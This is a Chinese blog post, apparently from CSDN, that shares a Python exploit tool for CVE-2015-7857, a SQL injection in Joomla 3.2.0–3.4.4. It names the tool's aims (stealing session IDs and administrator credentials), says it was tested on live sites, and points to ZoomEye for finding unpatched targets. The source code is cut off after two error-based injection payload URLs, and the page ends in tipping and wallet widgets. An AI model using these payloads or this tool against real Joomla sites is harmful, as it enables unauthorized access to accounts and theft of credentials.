CVE-2015-7857 Joomla注入漏洞利用工具(Python)

      前段时间闹得很火的一个SQL注入漏洞,影响版本Joomla 3.2.0-3.4.4版本。目前官方已经提供了升级版本。

      漏洞分析英文版本在这里:https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/?page=1&year=0&month=0

      Freebuf上的翻译版本在这里:http://www.freebuf.com/articles/82811.html

      主要是尝试一下用Python写了一个利用的工具,可以获取SessionID,获取管理员的账户密码,管理员的的名字。其他的功能只需要加上对应的Payload即可。没有做多线程处理,item_id也只是尝试1000次,如果不成功的话就会退出。在本地测试成功。利用zoomeye也还是可以找到没有及时打补丁的网站。下面看下展示图。

      本地测试:

demo1

      在线测试:

 demo2

      最后,分享一下源码,写的比较粗糙:

#!/usr/bin/env python
# Exploit Title:Joomla 3.2.0-3.4.4 sql injection
# Date:30/10/2015
# Exploit Author:ShadonSniper
import requests
import optparse
import urlparse
import sys
import ctypes
import re
FOREGROUND_GREEN = 0x0a
FOREGROUND_RED = 0x0c
FOREGROUND_BLUE = 0x09
FOREGROUND_YELLOW = 0x0e
STD_OUTPUT_HANDLE = -11
#PASSWORD_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=7&type_id=1&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(username))%20from%20%23__users%20where name='Super User'%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"
#SESSIONID_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM (select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"
PASSFLAG1 = "
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值